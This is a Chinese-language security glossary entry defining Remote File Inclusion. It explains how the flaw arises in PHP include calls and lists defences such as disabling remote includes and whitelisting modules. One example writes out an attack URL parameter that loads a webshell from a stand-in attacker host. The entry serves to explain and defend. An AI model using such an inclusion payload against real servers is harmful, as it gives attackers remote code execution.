Entry № 1030
远程文件包含(RFI)
远程文件包含(RFI) 是什么?
远程文件包含(RFI)允许攻击者迫使服务器从其指定的远程 URL 获取并执行代码的漏洞。
远程文件包含(RFI)发生在应用将用户可控输入传递给 include 或 require 函数,而运行时又支持远程 URL 的情况(例如启用了 allow_url_include 的 PHP)。服务器会从攻击者控制的主机下载文件并在应用进程内执行,从而获得即时的远程代码执行。RFI 通常比 LFI 更严重,因为无需事先在服务器上拥有写入权限。防御措施包括在运行时禁用远程 URL 包含、使用严格的静态模块名白名单、绝不包含由用户输入构造的路径,以及通过严格的出站过滤对应用服务器进行分段。
● 示例
- 01
PHP 应用调用 include($_GET['page']),?page=https://attacker.example/shell.txt 会加载并执行 webshell。
- 02
过时的 CMS 插件从 URL 参数加载管理页面,允许执行攻击者托管的 PHP 文件。
● 常见问题
远程文件包含(RFI) 是什么?
允许攻击者迫使服务器从其指定的远程 URL 获取并执行代码的漏洞。 它属于网络安全的 攻击与威胁 分类。
远程文件包含(RFI) 是什么意思?
允许攻击者迫使服务器从其指定的远程 URL 获取并执行代码的漏洞。
如何防御 远程文件包含(RFI)?
针对 远程文件包含(RFI) 的防御通常结合技术控制与运营实践,详见上方完整定义。
远程文件包含(RFI) 还有哪些其他名称?
常见的别称包括: RFI。